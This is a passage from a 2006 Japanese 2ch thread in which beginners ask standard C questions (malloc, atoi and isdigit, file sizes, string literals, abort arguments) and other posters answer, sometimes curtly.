コードを書いてみて、どこでどのようなエラーになるのか質問しろ。
0326デフォルトの名無しさん
2006/07/18(火) 23:06:42ちゃんと出力されました☆
0327デフォルトの名無しさん
2006/07/18(火) 23:32:18#あ、close(), dup()もそうか。
0329310
2006/07/18(火) 23:37:26http://kansai2channeler.hp.infoseek.co.jp/cgi-bin/joyful/img/2393.txt
コマンドは a.exe ls | grep a | cat で固定です。
a: ls; No such file or directory
というエラーを出して終わってしまいます。
0331デフォルトの名無しさん
2006/07/19(水) 00:00:11SEND+MORE=MONEYで解が1つはあるはずなのに解なしになってしまいます。
ちょっと点検していただけませんでしょうか?
あと、このプログラムが一体何をしているのか、解説していただけたら嬉しいです。
よろしくお願いします・・・
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
enum {FALSE, TRUE};
#define N 10
int imax,jmax,solution,word[N][128],digit[256],low[256],ok[10];
void found(void)
{
int i,j,c;
printf("\n解 %d\n",++solution);
for(i=0; i<=imax; i++)
{
for (j=jmax; j>=0; j--){
c=word[i][j];
if (c!='\0') printf("%d",digit[c]);
else printf(" ");
}
printf("\n");
}
}
0332デフォルトの名無しさん
2006/07/19(水) 00:03:100333310
2006/07/19(水) 00:05:07execvpなどで配列の最初からではなく、途中からそれ以降を実行するような
ことは可能なのでしょうか?
0334デフォルトの名無しさん
2006/07/19(水) 00:09:47あのねぇ、UNIXプログラミングスレでも相手してもらえなくなるよ。
素直にいけよ、糞ガキ
0335デフォルトの名無しさん
2006/07/19(水) 01:09:270336デフォルトの名無しさん
2006/07/19(水) 01:11:41それぐらい自分で書け。それでわかんなかったらコードを添えて相談しろ。
0337デフォルトの名無しさん
2006/07/19(水) 01:19:12BOOL LoadEveFile(char *strFile , char **mainCode) {
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wp, LPARAM lp)
{
LPSTR mainCode[256];
LPSTR *pMainCode;
pMainCode = mainCode;
LoadEveFile("map.txt" , pMainCode);
:
pMainCodeを渡すとmainCode自体は引き渡せないので困っています。お願いします。
0338デフォルトの名無しさん
2006/07/19(水) 01:23:42char* xxx[256];
xxx[0] = mainCode[0];
...
LoadEveFile("map.txt", xxx);
0339デフォルトの名無しさん
2006/07/19(水) 11:16:30int c;
int T(int n){
int i,tmp=0;
if(n==0)
return 0;
else{
for(i=0; i<n; i++)
tmp += T(i);
return (tmp*2/n + c*n);
}
}
int main(void){
int n;
do{
printf("c = ");
scanf("%d", &c);
}while(c<=0);
do{
printf("n = ");
scanf("%d", &n);
}while(n<0);
printf("T(n) = %d\n", T(n));
return 0;
}
というプログラムで、c=1と入力し、nに100以上の数字を入力すると、
処理にものすごく時間がかかってしまうのですが、短い時間で処理できるようにするにはどうすればいいですか?
0340デフォルトの名無しさん
2006/07/19(水) 11:24:18を解くんだな。
T(0), T(1), ... をいちいち再帰で求めないで、配列に入れていけば速くなる。
あと、数学的に解いて公式もとめて突っ込めばもっと速くなる。
0341デフォルトの名無しさん
2006/07/19(水) 11:39:03なるほど。ありです。
0343デフォルトの名無しさん
2006/07/19(水) 13:52:51struct *a;
a = malloc( );
ここで、a に n だけ割り当てたいのですが、どのようにすればいいのでしょうか?
カッコの中身をいろいろ試してもうまくいかないので。(sizeof(struct)*n) など・・・
0344デフォルトの名無しさん
2006/07/19(水) 13:53:44C言語でUnixTimeを日付時刻に変換するような関数があると聞き、dateaddという関数を見つけたのですが使い方がよくわかりません。
戻り値 = dataadd(第1パラ , 第2パラ , 第3パラ);
という書式らしいのです。
VBでの記述は多々みつかるのですが、Cでかかれたものが見つからなくて。。
なにか手がかりでもよろしいので、お力をお貸しください。
お願いします。
0345デフォルトの名無しさん
2006/07/19(水) 13:58:29つづり間違えました。
dateadd です。
0346デフォルトの名無しさん
2006/07/19(水) 14:02:01ttp://www.bohyoh.com/CandCPP/C/Library/localtime.html
0347デフォルトの名無しさん
2006/07/19(水) 14:03:55やってみます。
助かりました。
0348デフォルトの名無しさん
2006/07/19(水) 14:08:43struct *a;って何ですか?
> struct hoge *a;
> a = malloc(sizeof *a * n);
>> 344
Unixにはdateaddなんていう関数はない。それはWin限定で使えるAPI
locatetimeとtm構造体を調べてみろ
0349343
2006/07/19(水) 14:40:27配列を構造体で定義したものです。
たとえば、
struct char* hoge;
a[0].hoge = "ABC";
a[1].hoge = "abc";
と言った感じに代入は行われるみたいです。
0350デフォルトの名無しさん
2006/07/19(水) 15:29:09348: struct *a;って何ですか?
348: > struct hoge *a;
343: 配列を構造体で定義したものです。
軽くイラッと来た。
0351343
2006/07/19(水) 15:35:48char* key;
} elementtype;
#define MAX 1000
elemenntype b[MAX];
a と異なる配列はこのように定義されているのですが、私の説明は間違っているのでしょうか?
0352デフォルトの名無しさん
2006/07/19(水) 15:38:02>>349の様な文法はCにはない。
0353デフォルトの名無しさん
2006/07/19(水) 15:38:45a とhogeはどこへ言ったんだよ。
0354デフォルトの名無しさん
2006/07/19(水) 15:39:440355デフォルトの名無しさん
2006/07/19(水) 15:43:14>>343が一番わかってないから無問題
0356デフォルトの名無しさん
2006/07/19(水) 16:20:150357デフォルトの名無しさん
2006/07/19(水) 16:21:350358デフォルトの名無しさん
2006/07/19(水) 16:27:100359351
2006/07/19(水) 16:50:11#define N 10000
struct a[N];
とすると、作業領域を10000だけ確保しているわけですが、これを動的にmallocを用いて確保したいんです。
0360デフォルトの名無しさん
2006/07/19(水) 16:55:32コンパイル成功したらそのソースをここでさらせ
0361デフォルトの名無しさん
2006/07/19(水) 18:12:49>struct a[N];
コンパイルして見ろよ、これ。
0362デフォルトの名無しさん
2006/07/20(木) 10:02:35linux なら ls -l で表示される情報
DOS なら dir で表示される情報
です。よろぴく。
0363デフォルトの名無しさん
2006/07/20(木) 10:06:340364デフォルトの名無しさん
2006/07/20(木) 10:53:52stat(2)
0365デフォルトの名無しさん
2006/07/20(木) 10:56:54Thank you.
0366デフォルトの名無しさん
2006/07/20(木) 16:19:18授業の問題なのですが、
問_整数 a,b を直角三角形の直角を挟む2辺とするとき、a,bを入力したとき、斜辺の長さと面積を表示せよ。
#include <stdio.h>
#include <math.h>
void main(void)
{
int a,b;
double c;
printf("2辺の値を入力する。\n");scanf("%d,%d",&a,&b);
c=a*a+b*b;
c=sqrt(c);
printf("三角形の斜辺の長さは %lf 面積は %f です。\n",c,(float)(1.0*a*b/2));
}
最後の行の、(float)(1.0*a*b/2));の意味が分からないんです。
教えてくださいm(__)m
0367デフォルトの名無しさん
2006/07/20(木) 16:39:06%fは別にdouble型で出力可能だし演算結果はdouble型になるんで冗長なcastだな
0368デフォルトの名無しさん
2006/07/20(木) 16:55:42レスありがとうございます
もうちょっとだけお願いします><
(1.0*a*b/2)ってどうすれば思い付くんでしょうか。特に1.0が気になります
すごく初歩的な質問ですみません
0369デフォルトの名無しさん
2006/07/20(木) 17:25:11式に一つでもdouble型がある場合、double型になることを利用しただけ
# 正確な式の型の繰り上げ規則は調べてくれ
a*b/2だとint型になってしまう為、小数点以下が切り捨てられてしまうから
1.0というdouble型の数値を入れることによって結果をdouble型にしたんだろう
でも、a*b/2..0の方が綺麗だと個人的には思うけどな
0370デフォルトの名無しさん
2006/07/20(木) 17:37:44分かりました!
ありがとうございますm(__)m
0371デフォルトの名無しさん
2006/07/20(木) 22:39:17a*b/2.0 と 1.0*a*b/2 は a*b が int の範囲に収まらない場合、挙動が違うんじゃね?
0372デフォルトの名無しさん
2006/07/21(金) 01:08:53上げ足取りなのかもしれんけど
0373デフォルトの名無しさん
2006/07/21(金) 12:31:11前者はintで掛け算が行なわれるから結果が異なるね。
まぁ、(double) a * b / 2でいいとも思うが。
0374デフォルトの名無しさん
2006/07/21(金) 15:37:56取れるようですが、これはANSI Cで認められているのでしょうか?
0375デフォルトの名無しさん
2006/07/21(金) 16:05:51型が違う。
int a[10];とあったとき、
aや&a[0]と言った式ではint*型の値になるが、
&aではint (*)[10]型の値になる。
0376デフォルトの名無しさん
2006/07/21(金) 16:17:01そんなこと誰も聞いてませんが
0377デフォルトの名無しさん
2006/07/21(金) 16:30:42分かったかヴォケ
0378374
2006/07/21(金) 16:46:53なるほど、そういう違いがあるんですね。ありがとうございます。
で(^^;)、ソースコードの汎用性を考えた場合、
char a[10], b[10];
memmove(&b,&a,10); //aをbにコピー
は
memmove(b,a,10);
に変えておいた方がいいのかどうか、が気になっております。
0379デフォルトの名無しさん
2006/07/21(金) 16:54:30好きなようにしたらええがな。
0380デフォルトの名無しさん
2006/07/21(金) 16:56:55変更の可能性が無い場合は付けないと区別している
あくまで個人の趣味であり、押しつけるつもりはない
0381デフォルトの名無しさん
2006/07/21(金) 17:08:13ちょwwwおまwwww
0382デフォルトの名無しさん
2006/07/21(金) 17:15:56a の型はまぎれも無く int [10] だぞ。
int* に暗黙にキャストできるというだけであって。
sizeof a とか考えてみそ。
0383デフォルトの名無しさん
2006/07/21(金) 17:38:270384デフォルトの名無しさん
2006/07/21(金) 17:39:58天国に上ります。
0385デフォルトの名無しさん
2006/07/21(金) 17:45:00http://www.linux.or.jp/JM/html/LDP_man-pages/man3/setvbuf.3.html
> setvbuf() 関数は、ストリームをオープンした後、そのストリームに対して何らかの操作をする前にのみ使用できる。
> setvbuf() 関数は、ストリームをオープンした後、そのストリームに対して何らかの操作をする前にのみ使用できる。
> setvbuf() 関数は、ストリームをオープンした後、そのストリームに対して何らかの操作をする前にのみ使用できる。
0386デフォルトの名無しさん
2006/07/21(金) 17:45:24把握した。
0387デフォルトの名無しさん
2006/07/21(金) 18:59:30ま、とりあえずこのあたりを読んでみるべし
http://www.kouno.jp/home/c_faq/c6.html#4
0388デフォルトの名無しさん
2006/07/21(金) 19:38:130389デフォルトの名無しさん
2006/07/22(土) 08:19:01これchar型のsmbに数値が入っていて、それをintに変換、10進でなかったら実行ってことですよね。
atoiで数値にできるのに実行してしまうんですが、何でですか?
お願いします。
0390デフォルトの名無しさん
2006/07/22(土) 08:33:170391デフォルトの名無しさん
2006/07/22(土) 08:37:270392デフォルトの名無しさん
2006/07/22(土) 08:42:280393デフォルトの名無しさん
2006/07/22(土) 08:58:58char smb[] = "1";
printf("%s\n" , smb);
仮置きしてみたんですが、これじゃ駄目みたいです。
c = getchar( );
で直接入力したらうまくいきました。
if (isupper(c)) /* 英大文字なら */
printf("英大文字です。");
else if (islower(c)) /* 英小文字なら */
printf("英小文字です。");
else if (isdigit(c)) /* 数字なら */
printf("数字です。");
else if (isspace(c)) /* スペースなら */
printf("スペースです。");
else /* 上記のいずれでもなかったら */
printf("何かわかりません");
これを使って検証したんですが、ためしにcに数値を入れたら、elseのケースになってしまいます。
何か重大なミスしてる悪寒。
0394デフォルトの名無しさん
2006/07/22(土) 09:08:010395デフォルトの名無しさん
2006/07/22(土) 09:16:29ありがとうございます。
ああ、そうか。
ってことは前述のコードはatoiに文字列渡したのがまずかったわけか。
0396デフォルトの名無しさん
2006/07/22(土) 09:19:59isdigit()の引き数は文字、atoi()の戻り値は数値、全く噛み合っていない。
>392は釣りかネタ。
0397デフォルトの名無しさん
2006/07/22(土) 09:22:170398デフォルトの名無しさん
2006/07/22(土) 09:25:07ああ、そうだった。
今気づいて戻ってきました。
つまりいらないわけですね。
すみません。
0399デフォルトの名無しさん
2006/07/22(土) 09:53:09bool evalAtoi(long * val, const char * buf)
{
if (val == NULL && buf == NULL) return false;
char * end;
* val = strtol(buf, & end, 0);
return * end == '\0';
}
0400デフォルトの名無しさん
2006/07/22(土) 09:57:11smb="48"から"57"で
isdigit(atoi(smb))は真になる
48が文字'0'で57が文字'9'な
0401デフォルトの名無しさん
2006/07/22(土) 09:59:33エスパースキル足りなかった
0402デフォルトの名無しさん
2006/07/22(土) 10:18:28&&じゃなくて||な
0403デフォルトの名無しさん
2006/07/22(土) 11:36:10lseekでファイルの末端までいってftellで取ってきた値が
そのままファイルサイズになっちゃったりしますか?
ほかにもっといい方法があればご教授お願いしたりします。
0404デフォルトの名無しさん
2006/07/22(土) 11:44:44ファイルシステムとかに思いっきり依存するので、C言語固有の
方法はない。例えば>>403の方法ではintとかunsignedの大きさに
制限されてしまう。
0405デフォルトの名無しさん
2006/07/22(土) 11:54:41どういう意味なの?
ftellで返ってくる値が1バイトとは限らないって意味なのなの?
freadで読み込んでいけば確実でせうか?
0406デフォルトの名無しさん
2006/07/22(土) 11:55:56時間が掛かるけど、バイナリモードで開いてfget()当たりで1バイトずつ
カウントしていけばいいかもしれんね。
>>404は、C言語固有の方法を使うよりも、OSのAPIを使った方がいいと
いう事。
0407デフォルトの名無しさん
2006/07/22(土) 11:56:18○fgetc()
0408デフォルトの名無しさん
2006/07/22(土) 12:00:07もし、ファイルシステムで表せるファイルの大きさがlongで表せる大きさを
超えていたらどうなる?ftell()じゃあ正確に調べられないだろ。
身近な例ではNTFSとかな。
0409デフォルトの名無しさん
2006/07/22(土) 12:03:16標準Cではないって事
0410405
2006/07/22(土) 12:09:52とりあえずバイナリモードで開いて実際に読み込んでサイズ見ていきます。
でもgetcでみなきゃだめですか?
freadで1024バイト単位ぐらいで読み込んでいきたいんですが・・・
0411デフォルトの名無しさん
2006/07/22(土) 12:12:37そこら辺は任せる。要するにカウンタがオーバーフローしないで
調べられればそれでいい。
0413デフォルトの名無しさん
2006/07/22(土) 13:28:26x = (char *)malloc(sizeof(char)*z);
この時にポインタxからzの数値を求める方法ってありますか?
sizeofでいけると思ってたのに無理でした。
0414デフォルトの名無しさん
2006/07/22(土) 13:29:080415デフォルトの名無しさん
2006/07/22(土) 13:34:21無理ですか。サンクス!
0416デフォルトの名無しさん
2006/07/22(土) 13:40:14struct {
int size;
char *buf;
} x;
x.size=100;
x.buf=malloc(sizeof(char)*x.size);
0417デフォルトの名無しさん
2006/07/22(土) 13:56:17あーなるほど。
でも残念な事にやろうとしてたのが、xを関数に渡して
関数内でデータをあれこれするのにどれだけメモリ確保したか
知りたかったんですよ。
大人しくzを引数で渡した方が簡単そうですね。
0418デフォルトの名無しさん
2006/07/22(土) 14:07:200419デフォルトの名無しさん
2006/07/22(土) 14:53:05stat()って一般的に64ビットイントになってたっけ?
そうでないならfseek()+ftell()でも同じようなものかもしらん。
いずれにしても、標準Cでは手段がないことには同意。
fgetc()で終わるまで読もうと思ったら実はキャラクタデバイスで、
いつまで経っても終わらなかったりするかもしらんし。
0420デフォルトの名無しさん
2006/07/22(土) 15:07:28#define _FILE_OFFSET_BITS 64
を定義してコンパイルした場合は 64 ビット符号付き型である。
0421デフォルトの名無しさん
2006/07/22(土) 15:54:020422デフォルトの名無しさん
2006/07/23(日) 00:28:48引数などをいちいち書く必要が無くなるし、見やすいような気がするのですが、
グローバル変数はあまり使わない方が良いんですか?
ローカル・グローバル変数のメリット、デメリットなどあれば教えてください。
0423デフォルトの名無しさん
2006/07/23(日) 00:31:260424デフォルトの名無しさん
2006/07/23(日) 00:51:20グ
ロ
0425デフォルトの名無しさん
2006/07/23(日) 01:22:320426デフォルトの名無しさん
2006/07/23(日) 02:42:24標準Cスレなのにここまで誰もfpos_tに触れていない件について
0427デフォルトの名無しさん
2006/07/23(日) 04:44:28中身が何であるか(整数なのか構造体なのか)全く規定されていない上
fgetposとfsetposでの使用しか保証されていないから。
0428デフォルトの名無しさん
2006/07/23(日) 12:19:19せめてsize_tで移動できたらよかったのに
0429デフォルトの名無しさん
2006/07/23(日) 12:19:59ssize_tとかで
0430デフォルトの名無しさん
2006/07/23(日) 16:41:3020あるデータのうち0.3の割合で1、0.5の割合で2、0.2の割合で3を含んだデータを生成したいのですが、うまい表し方が思いつきません。
思いついた方法は
・1を6つ、2を10つ、3を4つと普通に配列にデータを代入する
・0〜1のランダムな値を出し、ランダムな値が
0 <= random < 0.3 なら1
0.3 <= random < 0.8 なら2
0.8 <= random < 1 なら3
を配列に代入する
という方法なのですが、どちらもいまいちぱっとしない気がします。どなたかうまい表現方法、あるいは確率分布データを生成する正統派な方法等ご存知の方ご教授願います。
0431デフォルトの名無しさん
2006/07/23(日) 17:10:260432デフォルトの名無しさん
2006/07/23(日) 19:58:262つ目の方法だと、たまにしか割合がきっちり 3:5:2 にならないが、それでもいいの?
いまいちどんなデータを作りたいかが分からん
0433430
2006/07/24(月) 00:17:00統計で使うデータを作りたいと思いまして、かんたんなサンプルデータとして、3:5:2でそれぞれの値を含んだデータをプログラムに作成させようというものです。それでc言語で確率を用いてデータ処理をしている例がみつからなかったので質問させていただきました。
0434デフォルトの名無しさん
2006/07/24(月) 00:20:14十分に要件を満たしうる方法について、「いまいち」とか「ぱっとしない」なんて答えしか出せないなら、
どんな方法を出してもそんなこと言われそうで答える気がしなくなる。
0435デフォルトの名無しさん
2006/07/24(月) 01:36:00なにが障害になってるのか、やっぱり分からない。
それでいいじゃんっていう気がする。
もしかして、値・発生確率・項目数などを自由に変えられるような
汎用性のある関数を書きたいということ?
0436デフォルトの名無しさん
2006/07/24(月) 01:48:171つ目の方法と2つ目の方法じゃ得られるデータの性質が明らかに違うやん
20個のデータの中に必ず、1が6個、2が10個、3が4個、現れるようにしなければならないの?
そういうシャッフルをしたいならたくさんやり方あるね
てか、統計ってそういうもんじゃないよね・・・
0437デフォルトの名無しさん
2006/07/24(月) 01:50:41「どちらもいまいち」って事は、それ別々の方法として例示してるんだよね?
前者の方法は、何より「10つ」が気になる…のは置いといても、
ランダムでなければそれでいいんじゃないか?
後者の方法は>>432も指摘しているように、3:5:2にはならん。
「いまいちぱっとしない」以前の問題。
0438デフォルトの名無しさん
2006/07/24(月) 12:27:180439430
2006/07/25(火) 03:36:22皆様、鋭い指摘ありがとうございます。
たしかに後者の方法は常に同じ割合にならないのですが、前者に比べると作為的でないというかなんというか説明しにくいですがそんな理由で考えました。
3:5:2という割合になるようにしたいのでやっぱり前者が適していると思うのですが、なんか作為的な感じがして…
これ以上はアルゴリズムの話題になりそうなのでやめますね。皆様おつきあいありがとうございました。
0440デフォルトの名無しさん
2006/07/25(火) 07:21:26data[0] にアクセスするのは安全なのでしょうか? 要点は
*a は自動変数で消滅してしまうけど、*a の指しているアドレスにある
"nullpo" という文字列はいつまでも残っていますか? という感じです。
それとも、*a も malloc してあげないとダメなのでしょうか?
ちなみに以下では malloc は失敗しないものとして解釈してください。
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char **data = NULL;
data = set_data(data);
puts( data[0] );
return(0);
}
char **set_data(char **p) {
char *a = "nullpo";
char *b = "damepo";
(char **)p = malloc( 3 * sizeof(char *));
*p[0] = *a;
*p[1] = *b;
*p[2] = NULL;
return(p);
}
0441デフォルトの名無しさん
2006/07/25(火) 07:25:32#include <stdio.h>
#include <stdlib.h>
int main(void) {
char **data = NULL;
data = set_data(data);
puts( data[0] );
return(0);
}
char **set_data(char **p) {
char *a = "nullpo";
char *b = "damepo";
(char **)p = malloc( 3 * sizeof(char *));
p[0] = a;
p[1] = b;
p[2] = NULL;
return(p);
}
0442デフォルトの名無しさん
2006/07/25(火) 07:45:450443デフォルトの名無しさん
2006/07/25(火) 09:02:02このキャストは不要、むしろ邪魔。
0444デフォルトの名無しさん
2006/07/25(火) 09:39:01文字列リテラルでググって安心してこい
0445デフォルトの名無しさん
2006/07/25(火) 10:04:540446441
2006/07/25(火) 10:18:16お礼が遅れてしまいました。
>>443 そうですね。返って来るのは void * ですし、char **p と宣言して
いるから不要ですね。ご指摘ありがとうございます。
>>444 キーワードまでありがとうざいます。さっそく見て来ましたが、
自分の考えていた通りなのが分かって良かったです。
>>445 はい。*a ではないことは分かっていたのですが、a だけだと
どこに書いてあるのか分かりづらいと思ったので、あえて *a と
表記しました。でも紛らわしいですね。すみませんorz
以上であります! とってもありがとうございますた。
0447デフォルトの名無しさん
2006/07/25(火) 13:53:24第二引数以降ってどうやって処理されてるのかがわかりません
0448デフォルトの名無しさん
2006/07/25(火) 13:56:020449447
2006/07/25(火) 14:05:470450デフォルトの名無しさん
2006/07/25(火) 18:56:00int a;
} elementtype;
void binary(int n) {
elementtype *x;
x = malloc(.....);
...
}
このような関数で x を動的に確保したいのですが、malloc(); をどのようにすればいいのでしょうか?
(配列をx[10000]のように定義せず、x に n だけ割り当てる)
0451デフォルトの名無しさん
2006/07/25(火) 19:04:05if (x == NULL)
{
/* どうしよう */
}
0452デフォルトの名無しさん
2006/07/25(火) 19:10:540453デフォルトの名無しさん
2006/07/25(火) 19:20:51char a[128] = {'"', '\0'};
等のように、ひとつずつ囲むしかないのでしょうか?
char a[128] = {"""};
みたいにするとエラーが出ます。
0454デフォルトの名無しさん
2006/07/25(火) 19:22:470455デフォルトの名無しさん
2006/07/25(火) 19:24:27n2は無視されることが保証されますか?
0456デフォルトの名無しさん
2006/07/25(火) 19:25:180457デフォルトの名無しさん
2006/07/25(火) 19:30:53キーワード:C言語 エスケープシーケンス
0459デフォルトの名無しさん
2006/07/25(火) 21:52:25どうもありがとうございます!
0460デフォルトの名無しさん
2006/07/25(火) 22:28:08後半、ほんと?
0461デフォルトの名無しさん
2006/07/25(火) 22:38:54スタックに乗るだけで、後にも先にも問題ない。
0462デフォルトの名無しさん
2006/07/26(水) 00:37:42環境変えたらmake通らなくなったでよ。
abort(1)って引数入れちゃ駄目なのかしら。
0463デフォルトの名無しさん
2006/07/26(水) 00:51:26だめ。
ANSI Cのabortは引数を取らない。
0464デフォルトの名無しさん
2006/07/26(水) 00:53:14即レスサンクス
前任者が全部引数居れてやがって全部直さんと駄目かorz
0465デフォルトの名無しさん
2006/07/26(水) 01:03:08#define abort(...) abort()
可変個引数なマクロを扱えないんだったら、...をxにでもすればいいけど、
暇なときに少しずつ直していくということができない。
0466デフォルトの名無しさん
2006/07/26(水) 01:08:180467デフォルトの名無しさん
2006/07/26(水) 01:14:31ライブラリだけdefine切ったものでこっそり先に作って
時間あいた時に直す事にしますわ。
レスありが�d
0468デフォルトの名無しさん
2006/07/26(水) 01:16:130469デフォルトの名無しさん
2006/07/26(水) 01:20:240470前任者
2006/07/26(水) 01:25:33後始末関数を呼んでabortするだけですから。
0471デフォルトの名無しさん
2006/07/26(水) 01:31:11おまえかっ
ってかコンパイルオプションきつきつにしないと駄目っぽくて
余計な警告出過ぎでやる気が無くなっt(ry
取り合えず明日に備えて寝ますわ
ちょっと笑って元気が出た
ありが�d
0472デフォルトの名無しさん
2006/07/26(水) 01:51:45#define abort(x) ((x), abort())
でどうよ。
0473デフォルトの名無しさん
2006/07/26(水) 02:14:54「関数の引数なんで、評価はされる。」って事と想像する<後遺症
0474デフォルトの名無しさん
2006/07/26(水) 07:11:20どうすればいいですか?
0475デフォルトの名無しさん
2006/07/26(水) 07:22:46型は文にできねぇな。
0476デフォルトの名無しさん
2006/07/26(水) 08:11:06アリガス
0477デフォルトの名無しさん
2006/07/26(水) 08:50:28char* pc = NULL;
pc = malloc(100);
・・・
if (pc == NULL)
0478デフォルトの名無しさん
2006/07/26(水) 09:07:58きっと、char *を受け取った関数でその領域を解放すべきか判断したいのではないかと。
で、環境に依存せずにそんなことはできないので別の手段を考えろ、と。
0479474=476
2006/07/26(水) 10:44:29�dです。
>>478
ごめんなさい。説明不足でした。
freeすべきかどうか調べる方法迷いましたけど、フラグ使ってましたw
0480C言語超初心者
2006/07/26(水) 17:16:15のa,b,cを任意に入力したときのxの解を求めるプログラムを作りたいんです。
誰か教えてくれませんか?
0481C言語超初心者
2006/07/26(水) 17:18:520482デフォルトの名無しさん
2006/07/26(水) 17:41:24マルチすなや。おまけにスレ違いだ。
0483デフォルトの名無しさん
2006/07/26(水) 18:40:48大変だな。頑張れよ
0484デフォルトの名無しさん
2006/07/26(水) 18:55:23↓
http://www.rs.kagu.sut.ac.jp/~infoserv/j-siken/H18a2/pm10.html
再帰構造体って、どーやって宣言すりゃいいの?
typedef struct letter {
char c; /* 英単語を構成する文字 */
struct letter *follow; /* この文字に続く文字へのポインタ */
struct letter *other; /* この文字に代わる別の文字へのポインタ */
char *trans; /* 訳語の文字列へのポインタ */
} LETTER;
LETTER *p_root;
って宣言してたらmainにはどーやって書いたらいいのか??
0485デフォルトの名無しさん
2006/07/26(水) 19:04:27東京理科大の先生に聞け
メールで俺からも頼んでおこう。
0486デフォルトの名無しさん
2006/07/26(水) 19:42:43連結リストでググれ
というかデータ構造とアルゴリズム勉強しろ
0487デフォルトの名無しさん
2006/07/26(水) 20:54:25とりあえず、
char *trans_test[6]={"男、人間","主な","郵便物","電子メールソフト","名前"};
とは書いてみた。
その他がヽ( ´ー`)ノ
0488デフォルトの名無しさん
2006/07/26(水) 21:59:53したい場合、どうすればいいのでしょうか?
JIT とかってこれと似たことしてるんですよね?
0489デフォルトの名無しさん
2006/07/26(水) 22:05:290490デフォルトの名無しさん
2006/07/26(水) 22:11:090491デフォルトの名無しさん
2006/07/26(水) 22:16:11まっとうなやり方は知らない。
0492デフォルトの名無しさん
2006/07/26(水) 22:19:160493デフォルトの名無しさん
2006/07/26(水) 22:31:32ということは、スタックのレイアウトを仮定した上でリターンアドレスの書き
換えを行うことになるのでしょうか?
; 一般的に JIT 書くときどうするのか気になたもので...
0494デフォルトの名無しさん
2006/07/26(水) 22:45:23まぁスレ違いだな。
ということで、>498に期待。
0495デフォルトの名無しさん
2006/07/26(水) 23:00:19その配列変数をaとすると、((void (*)())(intptr_t)a)()で行ける環境がそこそこある。
ANSI Cの規格合致プログラムではなくなること請け合い。
その配列の最後には呼び出し元へ戻る命令を入れておいてね。
0496デフォルトの名無しさん
2006/07/27(木) 12:42:23char のポインタを関数ポインタに無理矢理キャストして関数を呼ぶとか
0497デフォルトの名無しさん
2006/07/27(木) 13:36:480498デフォルトの名無しさん
2006/07/27(木) 15:50:15どうやら連結リストではなくトライ木らしいですよ
0499ど素人
2006/07/28(金) 02:11:382.通常プログラムカウンタはプログラムの実行にしたがって一定の大きさだけ増えていく.
しかし,時に,プログラムカウンタに直前の値とは大きく異なる値がセットされる
時がある.それはどんな時か?
3.次のプログラムは何を行うプログラムか.簡単に説明しなさい.また,
結果を得るまでに,A[k]==aの比較が行われた回数を書きなさい.
A=new Array(3, 8, 19, 20, 22, 24, 45);
i=0;
j=A.length-1;
a=19;
k=Math.floor((i+j)/2);
while(i<=j){
if(A[k] == a){
break;
}
else if(A[k] > a){
j = k - 1;
}
else{
i = k + 1;
}
k = Math.floor((i+j)/2);
}
if(i>j) k=-1;
document.write(a," ",k);
0500デフォルトの名無しさん
2006/07/28(金) 02:16:05> GUIなどの標準Cではできない事の質問,ソース丸投げ、宿題、書籍 は
> 専門の別スレッド↓があるのでそこへさようなら。
0501デフォルトの名無しさん
2006/07/28(金) 02:35:440502デフォルトの名無しさん
2006/07/28(金) 04:22:24板違い
>>501
おいおい、これがJavaコードに見えるなら一度眼科に行った方がいいぞ
0503デフォルトの名無しさん
2006/07/28(金) 07:00:260504デフォルトの名無しさん
2006/07/28(金) 12:12:540505デフォルトの名無しさん
2006/07/28(金) 17:57:330506デフォルトの名無しさん
2006/07/28(金) 17:59:080507デフォルトの名無しさん
2006/07/28(金) 18:30:320508デフォルトの名無しさん
2006/07/28(金) 20:05:04Aっつー配列の長さ(要素数)を取る手段と整数部分を取る手段
ttp://www.big.or.jp/~mio/it-old/js/jsref/js_ref_floo.htm
まぁ、Javaとは別ものだけど、似ている部分はあるんだよね
けど、既出の通りJavaScriptなんでスレ違いだが
アルゴリズムの部分はCともそう大差は無いのも分かる
0509デフォルトの名無しさん
2006/07/28(金) 21:21:00if (a < 2 && a > 0) {
}else{
}
elseの中の処理をelseを使わずにやりたいのです。
a > 2 && a < 0という書き方ではなく別の書き方はありますか?
!=みたいな・・・・
0510デフォルトの名無しさん
2006/07/28(金) 21:29:31意味が分からんが != じゃだめなの?
a が整数型だと仮定しての話だけど
ついでに a > 2 || a < 0、な
0511デフォルトの名無しさん
2006/07/28(金) 21:32:390512デフォルトの名無しさん
2006/07/28(金) 21:34:42if(!(a < 2 && a > 0)) {}
0513デフォルトの名無しさん
2006/07/28(金) 21:38:06おいおい、a==2とa==7のとき死ぬだろ。
0514509
2006/07/28(金) 21:42:39私がしたかったのは、>>512さんのやつでした。
助かりました。
説明が下手で申し訳ありませんでしたm(_ _)m
0515デフォルトの名無しさん
2006/07/31(月) 17:03:03strcpy(s1,s2);
と
strcpy(&s1,s2);
って同じですか?
0516デフォルトの名無しさん
2006/07/31(月) 17:30:14strcpy(&s1, s2);はコンパイル時に警告が出ると思うぞ。
s1はchar配列の先頭要素のアドレス、
&s1はchar配列のアドレス、
が得られる。結果は置いておいて、それの意味するところは違う。
string.hで定義されているstrcpyのプロトタイプで求められている引数は
char配列の要素のアドレスだ。
0517デフォルトの名無しさん
2006/07/31(月) 17:37:28これならいい
strcpy(&s1[0],s2);
s1と&s1[0]の返す値は同じだっておかあちゃんに昔習わなかったか?
0518デフォルトの名無しさん
2006/07/31(月) 17:39:00printf("%p,%p\n", s1, &s1);
printf("%p,%p\n", s1+1, &s1+1);
を実行してみれば分かる。
0519デフォルトの名無しさん
2006/07/31(月) 17:50:44どうもありがとうございます
皆さん頭いいっすね
0520デフォルトの名無しさん
2006/07/31(月) 18:06:32文 This is a test.を単語ごとに配列に入れて最後にNULLをつけなさい。
といわれたんで(そういわれたわけじゃないけど問題を解釈して)、
char str[][]={"This","is","a","test",NULL};
ってやったら警告出ちゃうんですけど、なぜですか?
試しにポインタ型の文字列でやってみたら、何も言われなかったんですけど。
char *str[]={"This","is","a","test",NULL};
この違いは何?
0521デフォルトの名無しさん
2006/07/31(月) 18:11:51前者は文法違反です。そんな書き方はない。JavaやC#と違うんだから。
0522デフォルトの名無しさん
2006/07/31(月) 18:12:39スレ違い。
0523デフォルトの名無しさん
2006/07/31(月) 18:18:09char str[][]={"This","is","a","test",NULL};
はcharの2次元配列を宣言しようとしているが中途半端なのでコンパイラがエラーを出す。
宣言&初期化するなら、
char str[][5]={"This","is","a","test",NULL};
